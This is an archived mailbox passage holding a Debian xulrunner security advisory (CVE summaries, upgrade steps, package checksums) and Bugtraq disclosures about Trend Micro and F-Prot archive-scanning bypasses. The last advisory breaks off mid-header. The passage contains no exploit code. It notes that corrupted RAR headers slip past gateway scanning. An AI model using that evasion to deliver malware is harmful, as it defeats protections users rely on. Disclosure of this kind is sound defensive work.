Olli Pettay, Martijn Wargers, Mats Palmgren, Oleg Romashin, Jesse Ruderman
and Gary Kwong reported crashes in the in the layout engine, which might
allow the execution of arbitrary code.
CVE-2009-1303
Olli Pettay, Martijn Wargers, Mats Palmgren, Oleg Romashin, Jesse Ruderman
and Gary Kwong reported crashes in the in the layout engine, which might
allow the execution of arbitrary code.
CVE-2009-1304
Igor Bukanov and Bob Clary discovered crashes in the Javascript engine,
which might allow the execution of arbitrary code.
CVE-2009-1305
Igor Bukanov and Bob Clary discovered crashes in the Javascript engine,
which might allow the execution of arbitrary code.
CVE-2009-1306
Daniel Veditz discovered that the Content-Disposition: header is ignored
within the jar: URI scheme.
CVE-2009-1307
Gregory Fleischer discovered that the same-origin policy for Flash files
is inproperly enforced for files loaded through the view-source scheme,
which may result in bypass of cross-domain policy restrictions.
CVE-2009-1308
Cefn Hoile discovered that sites, which allow the embedding of third-party
stylesheets are vulnerable to cross-site scripting attacks through XBL
bindings.
CVE-2009-1309
"moz_bug_r_a4" discovered bypasses of the same-origin policy in the
XMLHttpRequest Javascript API and the XPCNativeWrapper.
CVE-2009-1311
Paolo Amadini discovered that incorrect handling of POST data when
saving a web site with an embedded frame may lead to information disclosure.
CVE-2009-1312
It was discovered that Iceweasel allows Refresh: headers to redirect
to Javascript URIs, resulting in cross-site scripting.
For the stable distribution (lenny), these problems have been fixed
in version 1.9.0.9-0lenny2.
As indicated in the Etch release notes, security support for the
Mozilla products in the oldstable distribution needed to be stopped
before the end of the regular Etch security maintenance life cycle.
You are strongly encouraged to upgrade to stable or switch to a still
supported browser.
For the unstable distribution (sid), these problems have been fixed in
version 1.9.0.9-1.
We recommend that you upgrade your xulrunner packages.
Upgrade instructions
- --------------------
wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.
If you are using the apt-get package manager, use the line for
sources.list as given below:
apt-get update
will update the internal database
apt-get upgrade
will install corrected packages
You may use an automated update by adding the resources from the
footer to the proper configuration.
Debian GNU/Linux 5.0 alias lenny
- --------------------------------
Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.
Source archives:
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner_1.9.0.9-0lenny2.diff.gz
Size/MD5 checksum: 117026 d09669d48cd57ec9457f027e1cbb6513
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner_1.9.0.9.orig.tar.gz
Size/MD5 checksum: 43676083 2d15d3f226cf0fc7210eb112cdbd2869
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner_1.9.0.9-0lenny2.dsc
Size/MD5 checksum: 1785 4dfb97c89b31cc0395fe3e07ace099ad
Architecture independent packages:
http://security.debian.org/pool/updates/main/x/xulrunner/libmozillainterfaces-java_1.9.0.9-0lenny2_all.deb
Size/MD5 checksum: 1483776 a42bf756251f9e3e206ede146db8f956
alpha architecture (DEC Alpha)
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_alpha.deb
Size/MD5 checksum: 111514 f9b3e0f98e2d20a0b809d21f8cf972e8
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_alpha.deb
Size/MD5 checksum: 51060838 f7811d5fce5d7a9d9543be65a03cec4b
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_alpha.deb
Size/MD5 checksum: 220742 2c1ed1e0ca8e9ca72875c69455559b26
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_alpha.deb
Size/MD5 checksum: 9481232 2a10dd4c6875e7c8271fef8ba99dcedb
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_alpha.deb
Size/MD5 checksum: 428902 03eeed45c2d4ed5197af04aa56a0e7c3
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_alpha.deb
Size/MD5 checksum: 3648686 e8dcddf93a00cde658b9098048d77261
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_alpha.deb
Size/MD5 checksum: 163408 fea42d292bf78fe08f73d98b2d9e178a
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_alpha.deb
Size/MD5 checksum: 933068 ee853413c63b6fe073c58e2701bc00ab
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_alpha.deb
Size/MD5 checksum: 71174 53af8db13e823906067c8385b32b2dcc
amd64 architecture (AMD x86_64 (AMD64))
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_amd64.deb
Size/MD5 checksum: 7727524 36d598c003dcb0b8e4c17f360b0681a3
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_amd64.deb
Size/MD5 checksum: 887532 cccbd9c7cf928cdbf524349874143a70
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_amd64.deb
Size/MD5 checksum: 151242 0075b6dc5736b7ffb43161a20cd569e9
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_amd64.deb
Size/MD5 checksum: 371988 bb3c915099c05bc4ea9f0e9c0f5dcf4c
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_amd64.deb
Size/MD5 checksum: 68952 92c0e7c9a369e29c2eaa10c508e9ef00
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_amd64.deb
Size/MD5 checksum: 50280932 6b6a63494c6f7411a8e98331ae952fb6
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_amd64.deb
Size/MD5 checksum: 100880 ab27a51c6ad46ead60760e90519f4e5c
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_amd64.deb
Size/MD5 checksum: 3583500 7cf24c1188cb886612a2c26915467f60
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_amd64.deb
Size/MD5 checksum: 220552 638e195878722d207df6f63d22dc0190
arm architecture (ARM)
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_arm.deb
Size/MD5 checksum: 67188 87bc838f4f3670f9351c24fc1a0bee83
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_arm.deb
Size/MD5 checksum: 49237086 71c4d1c873dfdcea156ac2ff17fb7bdd
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_arm.deb
Size/MD5 checksum: 3578816 4e2ff63e582037fec48658747f99ba0a
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_arm.deb
Size/MD5 checksum: 141146 48e1e4f7e842de538505c558d32626ce
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_arm.deb
Size/MD5 checksum: 348552 6e33e224e6495782a2770c9e2517c785
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_arm.deb
Size/MD5 checksum: 814400 6d91a49ce94c64d1d168c6b78a6b41a4
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_arm.deb
Size/MD5 checksum: 83412 62e4f3c8140c7dd842c08b3cae2d90be
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_arm.deb
Size/MD5 checksum: 6790870 429d3a80ad4929f50f932bc2a9f55d70
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_arm.deb
Size/MD5 checksum: 222650 88d47b4b6bfa2fff6fbb52f444d55910
armel architecture (ARM EABI)
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_armel.deb
Size/MD5 checksum: 140878 62b5c5aff1efdd654e4fdb336241df71
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_armel.deb
Size/MD5 checksum: 3576452 b1f3f4274747850f65ff6c6bc0321a5a
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_armel.deb
Size/MD5 checksum: 83860 74c170216a259ceb9c65f15654d9f1bf
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_armel.deb
Size/MD5 checksum: 68854 ebabe0aff31cbf050f5539dd65841d84
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_armel.deb
Size/MD5 checksum: 350300 ecf4a8c2404b099f24f04b6b9da4d29a
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_armel.deb
Size/MD5 checksum: 6941614 70f8d7debcdadac8f7344d483102966c
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_armel.deb
Size/MD5 checksum: 222324 838ad274ad9c4d1ae4520d20337ef5f5
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_armel.deb
Size/MD5 checksum: 50076310 ab97521543110a0fbc5f2ef5fa24a1ba
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_armel.deb
Size/MD5 checksum: 818918 67f9d2de565405f736be414f22883a3d
hppa architecture (HP PA RISC)
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_hppa.deb
Size/MD5 checksum: 408960 b804388039608c12f3839cf661f66198
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_hppa.deb
Size/MD5 checksum: 221864 dc011e19e0e51ca360814e2ccac45ff5
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_hppa.deb
Size/MD5 checksum: 51165016 dc62b362f3a484e63dfd4c4e0a3abd8f
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_hppa.deb
Size/MD5 checksum: 105354 e56c6f430f6bf0c440d32d9d77f521ec
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_hppa.deb
Size/MD5 checksum: 70442 a93054b9893c8560744735056faa0782
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_hppa.deb
Size/MD5 checksum: 158222 763d8678b7b0847d5892ecd91aa1aed2
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_hppa.deb
Size/MD5 checksum: 3618860 9f74be813e8e955fc0e17ddf2ba956ed
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_hppa.deb
Size/MD5 checksum: 9497008 f4b428777416a985792a4205fe2c4559
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_hppa.deb
Size/MD5 checksum: 895604 a40bd99de09688c3cebc1afb8f9b0ed3
i386 architecture (Intel ia32)
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_i386.deb
Size/MD5 checksum: 67304 a365211be353564113d2dd7674902022
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_i386.deb
Size/MD5 checksum: 49446708 55375bd2f9c55fad85bdf642ba148b8b
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_i386.deb
Size/MD5 checksum: 222280 a30bec3e1243fbcc85e10b50c70b0eec
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_i386.deb
Size/MD5 checksum: 849508 051f75cda756e30664ce1b90d884def5
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_i386.deb
Size/MD5 checksum: 3562302 1534d9cba1162456023d4bef69b786e0
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_i386.deb
Size/MD5 checksum: 140878 5520c260080eb9c08bbd1708d36eaecd
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_i386.deb
Size/MD5 checksum: 6590836 c632ce21a2a5fd4257283ff7cf32bef4
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_i386.deb
Size/MD5 checksum: 78612 353db3ef38a240bb039c550c33616610
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_i386.deb
Size/MD5 checksum: 348080 1f8dd3a001b62aabbce52ded83717f77
ia64 architecture (Intel ia64)
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_ia64.deb
Size/MD5 checksum: 538866 a0fc35488ffb492956c1b2602f3332fa
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_ia64.deb
Size/MD5 checksum: 179534 c70d0f8e437de971416dd66af25ecffd
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_ia64.deb
Size/MD5 checksum: 222276 45cc6e76a2aae05706272ab4f0b2b9ef
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_ia64.deb
Size/MD5 checksum: 75556 e70c1001ce1cba88bcd2970e271af0ff
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_ia64.deb
Size/MD5 checksum: 121026 828e0e511c559d05c40c88171bd03aff
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_ia64.deb
Size/MD5 checksum: 11282130 23f4515cf3fb9ea5af74da10235236ee
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_ia64.deb
Size/MD5 checksum: 49618524 635a2adbe4c8c0723e2f3e598c172872
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_ia64.deb
Size/MD5 checksum: 3393098 3348f2fda7f048257b66b9b1934c955b
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_ia64.deb
Size/MD5 checksum: 809114 78ae7bcb24e0b8710336fb170d82e90e
mips architecture (MIPS (Big Endian))
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_mips.deb
Size/MD5 checksum: 144800 6b1d8b5d6844b88a87c6f0d64fd3a5cc
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_mips.deb
Size/MD5 checksum: 222288 42ff24ac5979ebccbfeeec2409a18efd
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_mips.deb
Size/MD5 checksum: 51798468 200dcac5fb819d0093740d8b528c20a5
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_mips.deb
Size/MD5 checksum: 914892 24a8f94d6576adfaf8219489667e9349
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_mips.deb
Size/MD5 checksum: 377492 3da9e13727df30690dab740c3a11a4f1
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_mips.deb
Size/MD5 checksum: 96578 72d433b5b9755ead0e9519140b7e4c17
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_mips.deb
Size/MD5 checksum: 7635294 eab0a84b74f7a707722e6b593fa7fe45
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_mips.deb
Size/MD5 checksum: 3303462 e35a5582f64f0b03baaf34344766286d
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_mips.deb
Size/MD5 checksum: 69138 c0a61b85fd08547ef785f1ab664fc272
mipsel architecture (MIPS (Little Endian))
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_mipsel.deb
Size/MD5 checksum: 222290 5d4e1c8a7defd4812f1cdc90c3376b79
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_mipsel.deb
Size/MD5 checksum: 7366384 daadd45a701ee1372b13d04c479e8945
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_mipsel.deb
Size/MD5 checksum: 896196 bb30cfb8930a0f56f007779a114d8cce
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_mipsel.deb
Size/MD5 checksum: 144512 d9b0d61807107a8d6b6b9cd88ac78f2d
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_mipsel.deb
Size/MD5 checksum: 96276 fdbf9354e6a7f13ffbdc15631425bedc
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_mipsel.deb
Size/MD5 checksum: 49922418 08204077c0e28e67e8126b0a08bb5cfa
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_mipsel.deb
Size/MD5 checksum: 3304646 31bdebd6c18527ac71407f9ffab254b9
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_mipsel.deb
Size/MD5 checksum: 375296 2cff3b541b78c45eac1374b486f3185a
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_mipsel.deb
Size/MD5 checksum: 69060 d8b85f76f874fcfba60dbdf88dfa1ba9
powerpc architecture (PowerPC)
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_powerpc.deb
Size/MD5 checksum: 885826 cd7a75d90beeedc19ed56cab418f9229
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_powerpc.deb
Size/MD5 checksum: 359694 1a4bd1074a8d9e02af3d3e4ca6b6e184
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_powerpc.deb
Size/MD5 checksum: 3576628 487af4934c26c9607f2c973211f9e893
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_powerpc.deb
Size/MD5 checksum: 7282378 37d983a3b8ac149e3425f196a0a76cee
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_powerpc.deb
Size/MD5 checksum: 222610 ed41ecc9d50a8e8cdb97f07c02d40635
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_powerpc.deb
Size/MD5 checksum: 72514 cc2a157ba460b58ecb6d4bb1645463b0
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_powerpc.deb
Size/MD5 checksum: 94214 4d9018798582ddf501e7e96fbb1cb52f
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_powerpc.deb
Size/MD5 checksum: 51342054 ff91b365569570f23bdc050ef1b10aab
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_powerpc.deb
Size/MD5 checksum: 152434 5de3549eb40701dcf4280395a9d46ef6
s390 architecture (IBM S/390)
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_s390.deb
Size/MD5 checksum: 222272 7520554f059b97d8107a70b9cb4c7d23
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_s390.deb
Size/MD5 checksum: 3302468 4c4f9963496b1e03307c049d4d0c8d71
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_s390.deb
Size/MD5 checksum: 8375790 f83467abcb35b7f21e36ae4dccfd2894
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_s390.deb
Size/MD5 checksum: 404194 939a4ac485c2889a8d8cefc01b099c3c
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_s390.deb
Size/MD5 checksum: 155590 ec7601e7165fb077dc49ad5106ccbbe8
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_s390.deb
Size/MD5 checksum: 105062 d39129d6b2734ac40116873346998598
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_s390.deb
Size/MD5 checksum: 51124872 12297ecc689f3b5271c83e741ec88f0b
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_s390.deb
Size/MD5 checksum: 906520 aae8f82cb27c09cb33ed382c38c369fc
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_s390.deb
Size/MD5 checksum: 72060 1d46777a0678c4e3e5d8fd2643109325
sparc architecture (Sun SPARC/UltraSPARC)
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-gnome-support_1.9.0.9-0lenny2_sparc.deb
Size/MD5 checksum: 83282 3acccfab973fea6f2b78d9943c771b97
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d-dbg_1.9.0.9-0lenny2_sparc.deb
Size/MD5 checksum: 819016 51ece19aac73ae8ca1f6bd17334267ba
http://security.debian.org/pool/updates/main/x/xulrunner/python-xpcom_1.9.0.9-0lenny2_sparc.deb
Size/MD5 checksum: 143104 c80a213a549b2720b5aa257c590487dd
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9-dbg_1.9.0.9-0lenny2_sparc.deb
Size/MD5 checksum: 49311996 719762824e3ea8e87311872457dbe714
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-dev_1.9.0.9-0lenny2_sparc.deb
Size/MD5 checksum: 3573006 993e514fcf0bbea88f945b12ced5677c
http://security.debian.org/pool/updates/main/x/xulrunner/spidermonkey-bin_1.9.0.9-0lenny2_sparc.deb
Size/MD5 checksum: 69290 2f1e603498b14c1ff42a7b7dad8896b7
http://security.debian.org/pool/updates/main/x/xulrunner/xulrunner-1.9_1.9.0.9-0lenny2_sparc.deb
Size/MD5 checksum: 7160766 f33069ea4089317a616f12fbe1a4bbd0
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs-dev_1.9.0.9-0lenny2_sparc.deb
Size/MD5 checksum: 222422 225e2f431d1ca2358737199b383b065d
http://security.debian.org/pool/updates/main/x/xulrunner/libmozjs1d_1.9.0.9-0lenny2_sparc.deb
Size/MD5 checksum: 347584 5cfa8a467e38c4fdfbaa941da15ef737
These files will probably be moved into the stable distribution on
its next update.
- ---------------------------------------------------------------------------------
For apt-get: deb
http://security.debian.org/ stable/updates main
For dpkg-ftp:
ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and
http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iEYEARECAAYFAkoFfhcACgkQXm3vHE4uylo9ZgCgld+5uD+UFvGy2JlWOZJf7q1b
EWcAnAwBOeNtIfgBlmM6S9U+AZNWY+2J
=JQcD
-----END PGP SIGNATURE-----
From - Sat May 9 13:20:08 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000789f
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40266-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 0BE0DECF7D
for <lists@securityspace.com>; Sat, 9 May 2009 13:12:18 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id AFF93143751; Sat, 9 May 2009 09:25:17 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 6796 invoked from network); 9 May 2009 10:25:01 -0000
Resent-Cc: recipient list not shown: ;
Resent-Date: Sat, 9 May 2009 04:24:57 -0600
Resent-Message-Id: <200905091024.n49AOvtt000674@mx1.securityfocus.com>
Date: Sat, 9 May 2009 12:24:24 +0200
From: Thierry Zoller <Thierry@Zoller.lu>
X-Priority: 3 (Normal)
Message-ID: <1664736510.20090509122424@Zoller.lu>
To: bugtraq <bugtraq@securityfocus.com>,
full-disclosure <full-disclosure@lists.grok.org.uk>,
<info@circl.etat.lu>, <vuln@secunia.com>, <cert@cert.org>,
<nvd@nist.gov>, <cve@mitre.org>
Subject: Changes : [TZO-17-2009]Trendmicro multiple bypass/evasions
Resent-From: Thierry Zoller <Thierry@Zoller.lu>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Originating-IP: 91.50.115.26
Status:
______________________________________________________________________
UPDATE : Trendmicro RAR / CAB bypass evasion
______________________________________________________________________
CHANGES to original advisory [TZO-172009] Trendmicro :
------------------------------------------------------
Status : RAR / CAB issue WILL be patched on June 17
Quoting vendor :
"This vulnerability is capable of allowing attackers to send RAR files
with corrupted RAR headers through our gateway products, which bypass
the compressed files without scanning them."
Comment:
This just goes to proove that publishing changes perception, as
customers read, react and complain. (Trend previously denied
patching). In other words, always publish even if the vendor denies
patching.
In the name of all TrendMicro customers I would like to thank those
customers that reacted and complained. Wihtout publication there is no
change, without those reacting to advisories there is neither.
Prooves #2 and #5 at
http://blog.zoller.lu/2009/04/dear-thierry-why-are-you-such-arrogant.html
to be valid.
Regards,
Thierry Zoller
From - Sat May 9 13:30:08 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078a0
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40268-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 4CC75ECF8D
for <lists@securityspace.com>; Sat, 9 May 2009 13:21:37 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id DBC541438C5; Sat, 9 May 2009 09:26:15 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 8180 invoked from network); 9 May 2009 12:08:23 -0000
Resent-Cc: recipient list not shown: ;
Resent-Date: Sat, 9 May 2009 06:08:21 -0600
Resent-Message-Id: <200905091208.n49C8Lje028929@mx2.securityfocus.com>
Date: Sat, 9 May 2009 14:07:52 +0200
From: Thierry Zoller <Thierry@Zoller.lu>
X-Priority: 3 (Normal)
Message-ID: <1361598682.20090509140752@Zoller.lu>
To: bugtraq <bugtraq@securityfocus.com>,
full-disclosure <full-disclosure@lists.grok.org.uk>,
<info@circl.etat.lu>, <vuln@secunia.com>, <cert@cert.org>,
<nvd@nist.gov>, <cve@mitre.org>
Subject: [TZO-21-2009] Fprot CAB bypass / evasion
Resent-From: Thierry Zoller <Thierry@Zoller.lu>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Originating-IP: 91.50.115.26
Status:
________________________________________________________________________
From the low-hanging-fruit-department
F-prot generic CAB bypass / evasion
________________________________________________________________________
CHEAP Plug :
************
You are invited to participate in HACK.LU 2009, a small but concentrated
luxemburgish security conference. More information :
http://www.hack.lu
CFP is open, sponsorship is still possible and warmly welcomed!
************
Release mode: Coordinated but limited disclosure.
Ref : [TZO-21-2009] - F-prot CAB bypass / evasion
WWW :
http://blog.zoller.lu/2009/04/advisory-f-prot-frisk-cab-bypass.html
Vendor :
http://www.f-prot.com
Status : Current version not patched, next engine version patched
Date unknown, vendor doesn't answer any longer.
CVE : none provided
Credit : none prodided
OSVDB vendor entry: none [1]
Security notification reaction rating : better thn last time
Notification to patch window : n+1 (no patch for current build)
Disclosure Policy :
